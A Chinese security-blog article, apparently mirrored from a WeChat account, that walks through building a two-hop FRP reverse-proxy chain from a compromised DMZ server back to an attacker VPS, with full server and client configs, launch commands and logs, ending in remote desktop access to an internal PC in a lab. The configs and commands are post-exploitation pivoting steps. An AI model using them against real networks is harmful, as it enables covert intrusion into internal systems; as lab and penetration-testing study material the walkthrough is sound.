周其仁:停止改革,我们将面临三大麻烦

抛开立场观点不谈,且看周小平写一句话能犯多少语病

罗马尼亚的声明:小事件隐藏着大趋势——黑暗中的风:坚持做对的事相信未来的结果

布林肯突访乌克兰,为何选择去吃麦当劳?

中国不再是美国第一大进口国,贸易战殃及纺织业? 美国进一步延长352项中国商品的关税豁免期

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

内网隧道-FRP代理链搭建

NightCrawler 夜组安全 2023-05-06

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把夜组安全设为星标”,否则可能就看不到了啦!

内网隧道

01

反向代理

反向代理:服务器出网,如拿下的web服务器,我们在上面ping baidu.com是能ping通的,即服务器能出网,此时可以使用反向代理工具。让被拿下的服务器主动连接我们。


Frp 是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP 节点的中转暴露到公网。https://github.com/fatedier/frp

02

场景一

DMZ 区的靶机运行 Frpc1 连接 VPS,同时运行 Frps2,内网 A 的 PC1 运行 Frpc2 连接靶机


VPS 上启动 Frps1

Frps1.exe -c frps1.ini

frps1.ini 配置如下
[common]bind_addr = 0.0.0.0# 监听 7000 端口bind_port = 7000# 验证凭据,服务端和客户端的凭据⼀样auth_token = 123456789# 日志文件log_file = ./frps.loglog_level = infolog_max_days = 3# 允许端口allow_ports = 1080# 连接池上限max_pool_count = 50

DMZ 区服务器上启动 Frpc1,连接 VPS [192.168.10.16(模拟公网)]

Frpc1.exe -c frpc1.ini

frpc1.ini 配置如下

[common]server_addr = 192.168.10.16server_port = 7000auth_token = 123456789# 通信内容加密传输,防⽌流量被拦截use_encryption = true# 传输内容进⾏压缩,有效减⼩传输的⽹络流量,加快流量转发速度,但会额外消耗⼀些CPU资源use_compression = true
[plugin_socks5]type = tcpremote_port = 1080plugin = socks5# 连接账密(可不带此参数)plugin_user = abcplugin_passwd = abc

DMZ 区服务器上启动 Frps2,作为第二层代理链的 Server


frps2.ini 配置与 VPS 的 frps1.ini 配置相同,根据实际网络环境选择监听端口

在内网A的 PC1 上启动 Frpc2,连接 DMZ 区服务器[192.168.20.10]


frpc2.ini 配置与 DMZ 的 frpc1.ini 配置相同,根据实际网络环境选择连接端口

返回以下信息,说明连接成功

2023/3/19 22:33:13 [I] [service.go:288] [01608f2e6713a1e6] login to server success, get run id [01608f2e6713a1e6], server udp port [0]2023/3/19 22:33:13 [I] [proxy_manager.go:144] [01608f2e6713a1e6] proxy added: [plugin_socks5]2023/3/19 22:33:13 [I] [control.go:180] [01608f2e6713a1e6] [plugin_socks5] start proxy success

在攻击机配置 Proxifier 的代理链


03

场景二

DMZ 区的靶机运行 Frpc1 连接 VPS,内网 A 的 PC1 运行 Frps2,同时运行 Frpc2 连接本机



VPS 上启动 Frps1

Frps1.exe -c frps1.ini

frps1.ini 配置如下
[common]bind_addr = 0.0.0.0# 监听 7000 端口bind_port = 7000# 验证凭据,服务端和客户端的凭据⼀样auth_token = 123456789# 日志文件log_file = ./frps.loglog_level = infolog_max_days = 3# 允许端口allow_ports = 1080# 连接池上限max_pool_count = 50

DMZ 区服务器上启动 Frpc1,连接 VPS [192.168.10.16(模拟公网)]

Frpc1.exe -c frpc1.ini

frpc1.ini 配置如下

[common]server_addr = 192.168.10.16server_port = 7000auth_token = 123456789# 通信内容加密传输,防⽌流量被拦截use_encryption = true# 传输内容进⾏压缩,有效减⼩传输的⽹络流量,加快流量转发速度,但会额外消耗⼀些CPU资源use_compression = true
[plugin_socks5]type = tcpremote_port = 1080plugin = socks5# 连接账密(可不带此参数)plugin_user = abcplugin_passwd = abc

在内网 A 的 PC1 运行 Frps2,frps2.ini 配置如下

[common]bind_addr = 0.0.0.0bind_port = 7000log_file = ./frps.loglog_level = infolog_max_days = 3auth_token = 123456789allow_ports = 1081max_pool_count = 50

在内网 A 的 PC1 运行 Frpc2,frpc2.ini 配置如下

[common]server_addr = 192.168.20.11server_port = 7000auth_token = 123456789use_encryption = trueuse_compression = true
[plugin_socks5]type = tcpremote_port = 1081plugin = socks5plugin_user = abcplugin_passwd = abc

在攻击机配置 Proxifier 的代理链,与环境一不同,将第二层代理由 192.168.20.10:1081 改为 192.168.20.11:1081

04

搭建成功

两种建立代理链的方式均可从攻击机使用远程桌面登录内网 B 的 PC2

05

往期精彩

记一次仅有“小学二年级水平”的linux服务器应急


安全圈子


文章有问题?点此查看未经处理的缓存